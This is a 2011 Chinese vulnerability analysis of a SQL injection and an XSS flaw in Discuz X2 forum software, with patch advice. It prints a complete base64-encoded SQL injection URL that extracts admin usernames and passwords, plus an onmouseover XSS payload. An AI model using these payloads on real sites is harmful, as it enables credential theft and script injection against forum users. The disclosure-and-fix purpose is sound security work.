Discuz X2安全研究报告:SQL与XSS注入漏洞分析
作者:IMIYOO 来源:Nevel安全小组 发布时间:2011-07-05 12:31:32
近日,DiscuzX2被爆出了两个0day,一个是SQL注入漏洞,攻击者可利用该漏洞获取到用户名与密码,另一个是XSS注入漏洞,攻击者可实现网站挂马、网站钓鱼等行为,目前官方已针对此问题发布了0629版,以下内容是Nevel安全团队的IMIYOO针对disucz X2此次0day所做的漏洞分析报告。
SQL注入问题描述:
SQL是一种数据库攻击方式,攻击者利用畸形的客户端输入,如果过滤不够,程序就会执行过多的数据库命令,从而会引发数据泄漏,服务器被入侵等一系列问题;危害等级高。
分析报告:
问题的具体原因发生在source/module/forum/forum_attachment.php,代码如下图:
其中$_G[‘gp_aid’]是由用户提交的变量aid所产生,而程序是将aid经过base64_decode后再传入SQL查询,在传入给SQL查询之前也没有作任何判断;但这正好给攻击者提供base64加密绕过Discuz自身的SQL攻击检测程序,从而产生SQL注入漏洞。
构造Sql_Exploit:
mod=attachment //包含漏洞文件 findpost=imiyoo //保证$_G[‘gp_findpost’]不为空,使程序进入恶意SQL查询流程 aid=base64_encode(“1' and 1=2 union all select 1,concat(username,0x7C,password) from pre_common_member where username like 'admin|Nevel|Nevel|Nevel|Nevel”) // |
构造SQL利用语句爆出用户名和密码,其中后面有4个’|’用来产生5个变量
从而完整的攻击语句如下:
http://target/forum.php?mod=attachment&findpost=imiyoo&aid= MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsY29uY2F0KHVzZXJuYW1lLDB4N0MscGFzc3dvcmQpIGZyb20gcHJlX2NvbW1vbl9tZW1iZXIgd2hlcmUgIHVzZXJuYW1lIGxpa2UgJ2FkbWlufE5ldmVsfE5ldmVsfE5ldmVsfE5ldmVs |
攻击效果如下图:
XSS问题描述:
XSS是一种客户端攻击方式,攻击者可以可以向Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而可以达到恶意攻击用户的特殊目的。利用该XSS漏洞,攻击者可以实现1 网站挂马 2 网站钓鱼 3 CSRF攻击;危害等级中。
分析报告:
具体原因发生在source/function/function_discuzcode.php中的,在discuzcode函数中,我们可以看到,程序员直接将用户输入的[emai][/email]信息利用preg_replace函数进行替换,但在该函数中存在一个问题,当用户提交的变量中含有双引号等特殊字符的时候,函数会将它们转义后再进行输出,而程序作者没有对其进行过滤,就传给了parseemail函数;
在parseemail函数,如下:
其中$text变量也是没有进行过滤,就直接输出到客户端,从而造成了XSS漏洞。
构造Xss_Exploit如下:
[email][url]”http://www.imiyoo.com onmouseover=alert(/Discuz-XSS-Exploit/); “[/url][/email]
漏洞的修补:
当我们输入上面的恶意数据,经过preg_replace函数转换后,会将双引号表示字符串的实际意义进行转义,而将其作为字符串的一部分进行输出,从而造成XSS攻击,如下图:
因此我们需要将preg_replace转换后的变量进行转化,将转义字符’\’进行过滤。
安全建议:手动安装官方最新的版本 http://www.discuz.net/thread-2168918-1-1.html
猜你喜欢
- 信息服务器IIS是BACKOFFICE系列产品 * 能最强大、最流行的应用程序,它与整个BACKOFFICE组件一样,IIS也是围绕WINDO
- 通常地,大多数Web站点的设计目标都是:以最易接受的方式,为访问者提供即时的信息访问。在过去的几年中,越来越多的黑客、病毒和蠕虫带来的安全问
- 世界上没有绝对安全的系统,即使是普遍认为稳定的Linux系统,在管理和安全方面也存在不足之处。我们期望让系统尽量在承担低风险的情况下工作,这
- 解决w3wp.exe内存占用问题在IIS6下,经常出现w3wp的内存占用不能及时释放,从而导致服务器响应速度很慢。今天研究了一下,可以做以下
- 1.简介tr用来转换或者删除一段文字。tr是translate(转换的缩写),功能的英文示意是:translate or delete ch
- 作为Internet上的FTP服务器,系统的安全性是非常重要的,这是建立FTP服务器者所考虑的第一个问题。其安全性主要包括以下几个方面:一、
- 齐毛鸭在使用dedecms时发现,每一个栏目的列表页的title是不能直接优化的。举个例子,某栏目的名字是“文学天地”,但在title中我们
- 现在每个企业几乎都有自己的网站,而且有些网站做的很美观。对一个企业站来说,抓住客户签到单子是很重要的,有的会花大价钱去找SEO公司优化,也有
- Ubuntu 9.10已经正式完成了,不过开发者们正在尝试在新的beta版本中加入Apache CouchDB。Apache CouchDB
- 站长的苦谁人知道?站长自己清楚而已,说到成功是每一个站长的梦想,成功的定义在站长心中很平淡,受到认可、赚到钱、完成了一种使命或者自己独享的意
- 当使用ajax跨域请求时,浏览器报错:XmlHttpRequest error: Origin null is not allowed by
- 很多SEO方面的问题是由于主机没有开启Apache的mod_rewrite而造成的。他们(host方)时常会告诉你他们已经开启了(实际并没
- VMware中网络设置之Bridged 也是关于linux下vmware桥接模式、静态ip上外网的配置,不过当时更多的是用图形界面来实现的,
- 本文假定读者已经理解双机互备的HA方案的基本概念。1. 双机互备HA方案的基本步骤建立一个双机互备方案的基本步骤是:1. 确定基本参数(如I
- 1.先决条件1.1 支持平台GNU/Linux是产品开发和运行的平台。 Hadoop已在有2000个节点的GNU/Linux主机组成的集群系
- 系统:centos 6.51.yum安装和源代码编译在使用的时候没啥区别,但是安装的过程就大相径庭了,yum只需要3个命令就可以完成,源代码
- 默认状态下gftp是没有设置字符编码的,所以我们上FTP的时候,看到里面的中文文件名全部是乱码,或则不部分文件看到文件夹却没名字;其实在gf
- 2010年对于网络赚钱人士来说是不平凡的一年,在这里一年中网赚人士迎来了少有的寒冬,不管是网站站长,还是专业的拉下线网赚模式,无论是哪种网赚
- 在网络科技时代,SOHO(Small OfficeHome Office)或远程办公(Tele-office)作为一种新的工作和生活方式,已
- 信号量、同步这些名词在进程间通信时就已经说过,在这里它们的意思是相同的,只不过是同步的对象不同而已。但是下面介绍的信号量的接口是用于线程的信